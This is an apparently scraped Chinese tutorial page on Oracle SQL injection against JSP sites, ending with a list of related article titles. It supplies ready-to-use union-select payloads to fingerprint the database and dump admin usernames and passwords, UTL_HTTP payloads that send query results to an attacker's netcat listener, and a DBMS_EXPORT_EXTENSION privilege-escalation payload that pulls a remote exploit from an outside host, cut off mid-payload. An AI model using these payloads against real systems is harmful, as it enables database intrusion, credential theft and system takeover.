oracle网站注入,oracle注入,utl_http方法
大家都知道oracle比较大,11g的安装程序大约在1.4g左右,可能大家遇到oracle的库比较少,oracle+jsp的搭配的比较好... oracle系统库默认的用户有sys,system,internal,scott,前三个权限都是system权限.. 先说下数据库的注释:access支持null和注释; mssql支持--和;的注视;mysql支持/*的支持;oracle支持--的注视 这里也许大家说了如果mssql过滤了;注视,该怎么区别oracle和mssql数据库呢,如果是oracle的库,一旦出错的话,很多时候就会出现oracle.odbc等之类的存储过程出错的语句,也可以通过; and user()>0来判断mssql,从而排除oracle的库 现在来说注入: 第一种方法使用dual系统表 一、判断注入数字型:and 1=1 and 1=0 字符型: and 1=1 and 1=0 搜索型: xx% and 1=1 and %= xx% and 1=2 and %=(xx必须是在页面中存在的字符串) 文本型:url+返回正常 url"+asdfg返回出错(asdfg是随便输入的字符串) 二、长度判断你可以选择union select null,null,null.....(用null,null,null而没有用1,2,3是为了避免类型的问题,当确定下来后可以逐个来替换类型,oracle是不会自动匹配类型滴) order by 我感觉比较省事,我一般都是order by 三、判断dual表是不是存在(这篇文章是针对dual表存在的情况进行注入的,如果不存在的话,工具要是跑不来的话就是体力活了) url and exist (select * from dual) 四、进行注入假设:www.abc.com/abc.jsp?id=1存在注入,而且有7个字段而且都是整型,索引值是在2处 1.判断oracle版本 www.abc.com/abc.jsp?id=1 and 1=2 union select 1,(select banner from sys.v_$version where rownum=1),3,4,5,6,7 from dual 2.判断当前连接用户 www.abc.com/abc.jsp?id=1 and 1=2 union select 1,(select sys_context(userenv,current_user from dual)),3,4,5,6,7 from dual 3.爆表 www.abc.com/abc.jsp?id=1 and 1=2 union select 1,table_name,3,4,5,6,7 from user_tables 可能表比较多,所以长度有要求,有些时候可能因为长度不够有些表没有显示出来,假设上面爆出来的有admin表 4.爆字段 www.abc.com/abc.jsp?id=1 and 1=2 union select 1,column_name,3,4,5,6,7 from cols where table_name=admin(假设是username和password) 5.爆字段内容 www.abc.com/abc.jsp?id=1 and 1=2 union select 1,username,3,4,5,6,7 from admin www.abc.com/abc.jsp?id=1 and 1=2 union select 1,password,3,4,5,6,7 from admin 当然也可以使用concat(),每个人的习惯不一样罢了
第二种方法配合utl_http存储过程 如果想检测一下UTL_HTTP包是否存在可以使用语句" select count(*) from all_objects where object_name=UTL_HTTP "来判断。OK既然是反回信息我们先在本地用NC监听,然后使用"and UTL_HTTP.request(http://IP:2009/||(查询语句))=1--"这样的形式。 本地先 nc -l -vv -p 2009,然后提交"and UTL_HTTP.request(http://IP:2009/||(select banner from sys.v_$version where rownum=1))=1--" 成功返回数据库的版本。现在我们就来一点一点的爆。先爆库,再爆表,再爆字段(上文字段已经把字段确定出来了是USERNAME和PASSWORD),最后爆字段值。现在我们就来爆库,提交 "and UTL_HTTP.request(http://ip:2009/||(select owner from all_tables where rownum=1))=1--" 假设爆出第一个库的名字为SYS。继续爆第二个库名,提交 "and UTL_HTTP.request(http://IP:2009/||(select owner from all_tables where owner<>SYS and rownum=1))=1--"以此类推,爆出所有的库 爆表语句如下 提交"and UTL_HTTP.request(http://IP:2009/||(select TABLE_NAME from all_tables where owner=SYSand rownum=1))=1--" SYS库中第一个表为xxx。继续提交 "and UTL_HTTP.request(http://IP:2009/||(select TABLE_NAME from all_tables where owner=SYSand rownum=1 and TABLE_NAME<>xxx))=1--" 以此类推爆出SYS库中所有的表;如果需要爆表里有多少个列可以用 "and UTL_HTTP.request(http://IP:2009/||(select count(*) from user_tab_columns where table_name=表名))=1--" 或者想要爆第一个列名可以使用 "and UTL_HTTP.request(http://IP:2009/||(select * from user_tab_columns where table_name=表名 and rownum=1))=1--" 爆第二个列名使用 "and UTL_HTTP.request(http://IP:2009/||(select * from user_tab_columns where table_name=表名 and rownum=1 and COLUMN_NAME<>第一个爆出的列名))=1--" 以此类推就可以爆出所有的列名。现在我们继续爆用户和密码,提交 "and UTL_HTTP.request(http://IP:2009/||(select 字段名1 from TBL_USER_MANAGER_BASE where rownum=1))=1--" 爆密码提交 "and UTL_HTTP.request (http://IP:2009/||(select PASSWORD from TBL_USER_MANAGER_BASE where rownum=1))=1--" 首先想到的就是SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES函数,我们可以通过web注射直接获得系统权限,呵呵,非常诱人吧!我们先来看看这个函数的利用。如下。 SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(FOO,BAR,DBMS_OUTPUT".PUT(:P1);[多语句]END;--,SYS,0,1,0) 多语句里写上我们的exploit,但是这样会造成我们构造的语句非常庞大,所以这里我们可以使用utl_http.request来获取我们放在远程及其上的exploit。到这里我们的语句就构造完了。 "and SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(FOO,BAR,DBMS_OUTPUT".PUT(:P1); utl_http.request (http://www.li-tek.com/1.txt) END;--,SYS,0,1,0)=0--" 但是提交后返回该页无法显示。换成char() 形式后and SYS.DBMS_EXPORT_EXTENSION.GET_DOMAIN_INDEX_TABLES(chr(39)||chr(70)||chr(79),chr(79)||chr(39)||chr(44),chr(39)||chr(66)||chr(65)
oracle网站注入,oracle注入,utl_http方法相关推荐
- oracle防止sql注入proc,解密:Oracle怎么防SQL注入
昨天我们说了怎么绕过waf进行sql注入,今天我们继续这个话题,说说Oracle数据库本身在防sql注入方面做了哪些工作. Oracle从8i开始PL/SQL中涌现出了大量SQL注入漏洞,直至11.2 ...
- sql注入oracle(1)
sql注入oracle 1. 判断为oracle and exist (select * from dual ) 或者and (selecr count(*) from user_tables)> ...
- 使用Python打造基本WEB漏洞扫描器(一) 网站爬虫+SQL注入检测
一.实验介绍 扫描器需要实现功能的思维导图: 1.1 实验内容 编写一个简单的多线程爬虫,用于对网站地址进行爬取,编写一个简单的sql注入工具,用于对网站地址进行sql注入的检测. 1.2 实验知识点 ...
- 如何防止网站被SQL注入攻击?
移动互联网的发展势头已经远远超过PC互联网,手机移动端上网,以及持有量远超 PC电脑, 随着移动大数据.区块链的技术在不断的完善,成熟,日常生活中经常会 听到某某网站被攻击, 网站被黑的新闻报道,再比 ...
- oracle中判断空,Oracle中判断空游标的方法
1.声明包 create or replace package TAL_TEST is -- Author : ADMINISTRATOR -- Created : 2012/12/9 15:15:3 ...
- 资源放送丨《Oracle数据库之Object的Access方法和结合方法》PPT视频
前段时间,墨天轮邀请Oracle优化方面的资深专家 陈晓辉 老师分享了<Oracle数据库之Object的Access方法和结合方法>,在这里我们共享一下PPT和视频,供大家参考学习. O ...
- Oracle Spatial中上载GIS空间数据方法研究
Oracle Spatial中上载GIS空间数据方法研究 作者:佚名 文章来源:博客中国 点击数:6873 更新时间:2006-8-24 摘要:采用Oracle Spatial 存储 ...
- oracle 打包图文,oracle应用程序实现打包 的方法
oracle应用程序实现打包 的方法 时间:2019-02-07 14:34作者:网友投稿 Oracle客户端精简后的文件,可以实现数据库的通信,直接和软件打包: 第一步:拷贝文件:主要是四个目录:b ...
- oracle无法删除em,Oracle 11g EM删除重建的方法
虚拟机里的Oracle 11g好长时间没用了,突然打开之后发现EM无法访问了,EM可以重建,于是也不打算查找原因了,直接使大招 OS:Windows Server 2012 Oracle:11g R2 ...
- 防止SQL注入攻击的一些方法小结
SQL注入攻击的危害性很大.在讲解其防止办法之前,数据库管理员有必要先了解一下其攻击的原理.这有利于管理员采取有针对性的防治措施.一. SQL注入攻击的简单示例.statement := " ...
最新文章
- linux centos 安装配置tftp服务器
- 音视频技术开发周刊 93期
- android 广播 7.0变化,安卓7.0到底带来了那些变化?
- stevedore——启用方式
- React中jsx的规则
- 【金三银四】微软java后端社招
- Linux命令之文件相关
- 开发函数计算的正确姿势——tensorflow serving
- 通过简单案例,理解观察者模式
- svn中文语言包安装(最详细步骤)*
- visual studio 2015 比较代码差异的几种方法
- java 英语简历模板下载 百度云_java软件工程师英文简历模板下载
- android仿微信朋友圈点击评论效果
- 【优化模型】报童的诀窍
- 如何从chrome获取你需要的缓存视频
- android立方体旋转动画,如何画出一个旋转的立方体
- 【软件设计】BDD由内而外采用策略
- Oracle19C下载安装教程(图文详解)
- 校长请人把计算机修好了英语翻译,英语句子翻译练习软件.doc
- Latent semantic analysis (LSA)
热门文章
- 使用 JavaCSV api 读取和写入 csv 文件
- Jquery实现form表单回填数据
- 独家 | TensorFlow 2.0将把Eager Execution变为默认执行模式,你该转向动态计算图了...
- 合肥工业大学—SQL Server数据库实验九:视图的定义与使用
- 利用UltraScale和UltraScale+FPGA和MPSOC加速DSP设计生产力
- 对抗性鲁棒性与模型压缩:ICCV2019论文解析
- 2021年大数据Flink(十):流处理相关概念
- Laravel7使用Auth进行用户认证
- Django 视图URLconf3.1
- HarmonyOS UI 开发 vp ,fp , px 以及写具体数字的 理解